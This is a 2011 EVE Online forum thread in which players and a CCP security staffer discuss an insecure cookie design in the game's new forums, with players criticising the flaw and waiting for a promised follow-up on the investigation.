Originally by: Majid Al'Amarr Can I suggest that folks use Google and type security issues then add any service delivered by the internet or with access to said. I honestly feel a touch of perspective is required here forum warriors.
I couldn't agree more. Anyone who claims to have written 100% secure code is full of it. The fact is exploits will continue to be discovered and fixed in any piece software. Just look at the changelog for darn near anything.
That being said a better procedure would have been to bring the new forums online and advertise that they are up for testing and content would be wiped before going live. Leaving the old forums in place for the average pilot. If the test forums had these major issues it would have been both non-disruptive and far less of a PR nightmare not to mention there wouldn't be so many pitchfork wielding crazies in this thread.
|
|
kakmonstret
|
Posted - 2011.04.14 12:31:00 -
[251]
Originally by: ArsMalus Mortis Edited by: ArsMalus Mortis on 14/04/2011 12:07:03 Edited by: ArsMalus Mortis on 14/04/2011 12:01:24
Originally by: Majid Al'Amarr Can I suggest that folks use Google and type security issues then add any service delivered by the internet or with access to said. I honestly feel a touch of perspective is required here forum warriors.
I couldn't agree more. Anyone who claims to have written 100% secure code is full of it. The fact is exploits will continue to be discovered and fixed in any piece software. Just look at the changelog for darn near anything.
That being said a better procedure would have been to bring the new forums online and advertise that they are up for testing and content would be wiped before going live. Leaving the old forums in place for the average pilot. I'm sorry but for any project as large as a forum the footprint is just too great for internal or 3rd-party audits to do a sufficient job finding vulnerabilities. Sure you might loose some of the oohh shiny factor, but let's face it if the test forums had these major issues it would have been both non-disruptive and far less of a PR nightmare not to mention there wouldn't be so many pitchfork wielding crazies in this thread.. Use the free labor at your disposal.
But these problems especially the cookie-derp is of a very basic nature. The cookie derp is not simply a implementation error. It is a error in the whole thinking around webprogramming. That clients are untrusted is one of the most important and basic things that any webprogrammer gets drilled with during training. This is what makes people so nervous if this mistake is done, what more much harder easier to do mistake are also done?
This is not about producing 100% secure code, this is about knowing the basic security problems in the relevant domain.
|
Ban Doga
|
Posted - 2011.04.14 17:30:00 -
[252]
Originally by: Majid Al'Amarr Can I suggest that folks use Google and type security issues then add any service delivered by the internet or with access to said. I honestly feel a touch of perspective is required here forum warriors.
A mistakes does not become any less severe just because more people make it...
|
Londo Cebb
Official Market Discussions Troll
|
Posted - 2011.04.14 20:19:00 -
[253]
So CCP Sreegs, where are we at? Allot of have still not forgotten about this. Please don't leave us hanging. How will CCP be moving forward from here?
|
|
CCP Sreegs
|
Posted - 2011.04.15 01:08:00 -
[254]
Originally by: Londo Cebb So CCP Sreegs, where are we at? Allot of have still not forgotten about this. Please don't leave us hanging. How will CCP be moving forward from here?
Perhaps I didn't manage expectations well enough. The investigation is pretty much complete today. There will be a great deal of internal dialogue following that. What we discuss will have to be decided as a part of that process, which will likely take at least a few more days, then there's a holiday. In short, I don't expect to have any followup from this for at least 2 weeks. Our investigation and analysis will be done but figuring out how what needs to change and what can be discussed is a longer process than resolving an incident. |
|
Zey Nadar
Gallente Unknown Soldiers Wildly Inappropriate.
|
Posted - 2011.04.15 07:29:00 -
[255]
Thank you for the time of telling us all this. I always think that a sign for healthy MMO is devs willing to dialog with the players.
|
Qordel
Caldari School of Applied Knowledge
|
Posted - 2011.04.15 08:56:00 -
[256]
Originally by: Majid Al'Amarr Can I suggest that folks use Google and type security issues then add any service delivered by the internet or with access to said. I honestly feel a touch of perspective is required here forum warriors.
Certainly, but retain the perspective that while many services and companies have security issues, they're often a little bit more than just "we made it incredibly insecure by design and ignored all standard practices for security". Someone finding a clever way to crack the security on your database, for example, is not the same as "we made the password <em>'password'</em>", which is essentially how bad the whole cookie situation is, here.
What happened here was a lack of security <em>by design</em> as opposed to designing a secure system that just happened to have an overlooked bug.
|
Qordel
Caldari School of Applied Knowledge
|
Posted - 2011.04.15 09:36:00 -
[257]
Originally by: ArsMalus Mortis Edited by: ArsMalus Mortis on 14/04/2011 12:07:03 Edited by: ArsMalus Mortis on 14/04/2011 12:01:24
Originally by: Majid Al'Amarr Can I suggest that folks use Google and type security issues then add any service delivered by the internet or with access to said. I honestly feel a touch of perspective is required here forum warriors.
I couldn't agree more. Anyone who claims to have written 100% secure code is full of it. The fact is exploits will continue to be discovered and fixed in any piece software. Just look at the changelog for darn near anything.
I'm sorry, but you can not compare developing systems with security in mind that are (as is often inevitable) eventually cleverly cracked and exploited to having a complete disregard for security and ignoring security entirely in the very design of your system. Security issues are uncovered and clever hacks and exploits found for systems and services and software every day, but nothing clever was required to circumvent security, here, because no security was employed.
This is a case of ignoring the most primary and fundamental cookie and session security standards that have been in practice since we invented cookies at Netscape, in the mid 1990s. It is a shameful and embarrassing oversight and a display of either incompetence or laziness.
Since CCP used APS.NET and is a Microsoft house, let's go ahead and look at the ASP.NET Cookie Security document on the Microsoft Developer Network site that is classified as Beginning Web Programmer level content. Stuff that any novice tutorial on cookies and session handling would cover.
- The upshot is that you should never store secrets in a cookie ù no user names, no passwords, no credit card numbers, and so on. Do not put anything in a cookie that should not be in the hands of a user or of someone who might somehow steal the cookie.
I sympathize with CCP. I respect CCP. I'm a fan of CCP. **** happens and we move on. At the same time, let's make sure we put the severity of this oversight into perspective so we don't do this all over again. Having access to post as another person with trivial effort on the forums is not the same as then gaining access to your actual account, but with such a clear demonstration of incompetence in simple design practices in one place, why would we expect them to uphold different standards elsewhere? Especially as this whole EveGate thing begins to encompass more of the provided services?
|
Londo Cebb
Official Market Discussions Troll
|
Posted - 2011.04.15 10:42:00 -
[258]
Originally by: CCP Sreegs
Perhaps I didn't manage expectations well enough. The investigation is pretty much complete today. There will be a great deal of internal dialogue following that. What we discuss will have to be decided as a part of that process, which will likely take at least a few more days, then there's a holiday. In short, I don't expect to have any followup from this for at least 2 weeks. Our investigation and analysis will be done but figuring out how what needs to change and what can be discussed is a longer process than resolving an incident.
Fair enough.
Thank you for your response, and the work you have put into this so far.
|
V'eris Eclaire
|
Posted - 2011.04.15 11:18:00 -
[259]
If you want us to help with exploits, why cant I write **********? Or did you mean player exploits only?
I am sorry but you (CCP) have a history of not acting on exploits. You take the "hands off" approach and act after a few days. We have seen this time after time. Players post on the forums about the exploit and you stand clear of the thread and do nothing.
You cant shut down the forums for every eve player that sends a bug report. If certain players did not do what had to be done to show you the severity of the issue, god only knows how long it would have taken for you to take down the forums. And have you any idea what kind of damage could have been done?
And you go and ban!?
Also do you realize what kind of a mistake this was!? Because its not on a "everyone makes mistakes" scale. And then you dare talk about excellence!?
It shows a level of incompetence that is far beyond unacceptable. It makes me wish you sold eve to some other company. If we cant have cool devs anymore, we at least want competence.
|
Bomberlocks
Minmatar CTRL-Q
|
Posted - 2011.04.15 12:09:00 -
[260]
Originally by: CCP Sreegs
Originally by: Londo Cebb So CCP Sreegs, where are we at? Allot of have still not forgotten about this. Please don't leave us hanging. How will CCP be moving forward from here?
Perhaps I didn't manage expectations well enough. The investigation is pretty much complete today. There will be a great deal of internal dialogue following that. What we discuss will have to be decided as a part of that process, which will likely take at least a few more days, then there's a holiday. In short, I don't expect to have any followup from this for at least 2 weeks. Our investigation and analysis will be done but figuring out how what needs to change and what can be discussed is a longer process than resolving an incident.
Just make sure that you do come back to us on this, Sreegs. Forgetting about it, intentionally or not will only add to the pile of straws on the camel's back.
|
|
Helicity Boson
Amarr The Python Cartel. The Defenders of Pen Island
|
Posted - 2011.04.15 16:01:00 -
[261]
Originally by: Bomberlocks
Originally by: CCP Sreegs
Originally by: Londo Cebb So CCP Sreegs, where are we at? Allot of have still not forgotten about this. Please don't leave us hanging. How will CCP be moving forward from here?
Perhaps I didn't manage expectations well enough. The investigation is pretty much complete today. There will be a great deal of internal dialogue following that. What we discuss will have to be decided as a part of that process, which will likely take at least a few more days, then there's a holiday. In short, I don't expect to have any followup from this for at least 2 weeks. Our investigation and analysis will be done but figuring out how what needs to change and what can be discussed is a longer process than resolving an incident.
Just make sure that you do come back to us on this, Sreegs. Forgetting about it, intentionally or not will only add to the pile of straws on the camel's back.
Yes, and it would make me angry. Nobody likes me when I'm angry.
|
|
CCP Sreegs
|
Posted - 2011.04.16 01:54:00 -
[262]
Originally by: Bomberlocks
Originally by: CCP Sreegs
Originally by: Londo Cebb So CCP Sreegs, where are we at? Allot of have still not forgotten about this. Please don't leave us hanging. How will CCP be moving forward from here?
Perhaps I didn't manage expectations well enough. The investigation is pretty much complete today. There will be a great deal of internal dialogue following that. What we discuss will have to be decided as a part of that process, which will likely take at least a few more days, then there's a holiday. In short, I don't expect to have any followup from this for at least 2 weeks. Our investigation and analysis will be done but figuring out how what needs to change and what can be discussed is a longer process than resolving an incident.
Just make sure that you do come back to us on this, Sreegs. Forgetting about it, intentionally or not will only add to the pile of straws on the camel's back.
Do I get my 2 weeks? |
|
|
CCP Sreegs
|
Posted - 2011.04.16 01:56:00 -
[263]
Edited by: CCP Sreegs on 16/04/2011 01:55:53
Originally by: V'eris Eclaire If you want us to help with exploits, why cant I write **********? Or did you mean player exploits only?
I am sorry but you (CCP) have a history of not acting on exploits. You take the "hands off" approach and act after a few days. We have seen this time after time. Players post on the forums about the exploit and you stand clear of the thread and do nothing.
You cant shut down the forums for every eve player that sends a bug report. If certain players did not do what had to be done to show you the severity of the issue, god only knows how long it would have taken for you to take down the forums. And have you any idea what kind of damage could have been done?
And you go and ban!?
Also do you realize what kind of a mistake this was!? Because its not on a "everyone makes mistakes" scale. And then you dare talk about excellence!?
It shows a level of incompetence that is far beyond unacceptable. It makes me wish you sold eve to some other company. If we cant have cool devs anymore, we at least want competence.
How about you discuss or have an opinion on the topic of this thread and I'll be happy to respond. |
|
Rose Nye
|
Posted - 2011.04.16 07:10:00 -
[264]
Quote: How about you discuss or have an opinion on the topic of this thread and I'll be happy to respond.
^ nice customer service skills there. Can of rage anyone?
Just a wee point about how to write a exploit report. Pay them. They are obviously able to perform a duty where those that are getting paid by CCP, are not.
|
Deviana Sevidon
Gallente Panta-Rhei Butterfly Effect Alliance
|
Posted - 2011.04.16 12:50:00 -
[265]
The most important point of the investigation is not at pointing fingers at CCP or staff members, but to find out, when and where the mess started. Where the reports not properly filed and escalated? Was it a management decisision to ignore the feedback and push it regardless of consequences, or did the development team ignore the feedback?
I think some of the problems come from extra thight development schedules, with two expansions in every year the teams responsible are at under a lot of pressure and don't have the extra time to implement major changes having to choose between two bad options:
1. Blow the budget, assign additional time/manpower to the project. 2. Keep the deadline at any cost, cutting corners whenever possible and hope that not too many problems arise and you have the ressources to patch the thing later.
The second option is where CCP is going most of the time. Also far too often features become orphaned, while being still incomplete the effective development is halted in favor of other projects.
From a personal point of view I would recommend to step back and take a look at the past expansions, look where additional work is required. Scrap features that obviously don't work (Tyrannis? Lol! See how I ruthlessly oppress the dots on a globe.. wait, you can't. There is nothing to build, nothing to rule, just some dots to connect)
Quote: Disclaimer: All mentioned above contains my opinion and is therefore an absolute truth (for me anyway, my universe, muhahaha.....ok, done
|
mkint
|
Posted - 2011.04.17 19:48:00 -
[266]
Originally by: Deviana Sevidon
...having to choose between two bad options:
1. Blow the budget, assign additional time/manpower to the project. 2. Keep the deadline at any cost, cutting corners whenever possible and hope that not too many problems arise and you have the ressources to patch the thing later.
Well the really upsetting thing is that they reportedly put in enough man-hours to put out a full length feature film, but only actually did a day's worth of work. They used pre-made forum software, broke it, and pushed it out. Hell, I've done that on my own in less time without a huge corporate sponsorship. Pre-made forums are DESIGNED to be easily implemented by the random idiot off the street. Definitely looks like a case of incompetent guys milking a paycheck.
|
Catheryn Martobi
|
Posted - 2011.04.18 06:25:00 -
[267]
>> Full length feature film
MFW
|
Lusulpher
Sinister Elite
|
Posted - 2011.04.18 07:31:00 -
[268]
Originally by: mkint
Originally by: Deviana Sevidon
...having to choose between two bad options:
1. Blow the budget, assign additional time/manpower to the project. 2. Keep the deadline at any cost, cutting corners whenever possible and hope that not too many problems arise and you have the ressources to patch the thing later.
Well the really upsetting thing is that they reportedly put in enough man-hours to put out a full length feature film, but only actually did a day's worth of work. They used pre-made forum software, broke it, and pushed it out. Hell, I've done that on my own in less time without a huge corporate sponsorship. Pre-made forums are DESIGNED to be easily implemented by the random idiot off the street. Definitely looks like a case of incompetent guys milking a paycheck.
Thank you. This screw-up is also the flag we can wave at any clearly broken feature in EvE. And in that 2 weeks of investigation, I hope to have confirmation that those Devs returned their paychecks, or delivered on their forum coding, WITHOUT pay.[can't ask to have people fired for incompetence No srs bsns allowed.]
I'd expect nothing less from a contracted handyman. Creative Customer Person 7 |
Fiona Frenze
|
Posted - 2011.04.30 09:27:00 -
[269]
its been 2 weeks. any updates for us at all?
VERY egar to hear as much as you can tell us |
Londo Cebb
Official Market Discussions Troll
|
Posted - 2011.05.02 07:57:00 -
[270]
Originally by: Fiona Frenze its been 2 weeks. any updates for us at all?
VERY egar to hear as much as you can tell us
I was wondering the same thing myself.
|
|
|
|
|
Pages: 1 2 3 4 5 6 7 8 9 10 :: [one page] |